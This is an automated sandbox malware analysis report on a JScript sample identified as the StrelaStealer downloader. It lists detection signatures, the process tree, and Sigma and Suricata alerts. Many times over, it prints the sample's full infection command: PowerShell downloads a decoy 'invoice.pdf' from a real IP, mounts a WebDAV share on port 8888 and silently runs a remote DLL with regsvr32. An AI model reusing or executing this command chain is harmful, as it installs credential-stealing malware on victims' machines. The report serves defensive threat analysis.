Edit tour

Windows Analysis Report
1444589682028830633.js

Overview

General Information

Sample name:	1444589682028830633.js
Analysis ID:	1589017
MD5:	2ad1fb8b8df5a1d2578ee9b2b0f5773c
SHA1:	dd0a1b33f598909903687fba2059c60b37426b83
SHA256:	4bcb367dc50858df4f67df7ed92978e15a66c2a03b0f969d8d0de5d72c5a56c8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5860 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5648 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 428 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5840 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1772,i,16039913801129241558,307286947381656726,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1536 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5296 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1488 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5860	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5648, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 428, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5648, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 428, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ProcessId: 5860, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5296, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ProcessId: 5648, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ProcessId: 5648, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ProcessId: 5648, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ProcessId: 5648, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ProcessId: 5648, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ProcessId: 5860, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5648, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 428, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5296, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1488, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5296, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll, ProcessId: 5648, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:29:59.214561+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:30:01.946497+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:29:59.214561+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1444589682028830633.js	ReversingLabs: Detection: 18%
Source: 1444589682028830633.js	Virustotal: Detection: 16%			Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1444589682028830633.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1444589682028830633.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:29:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 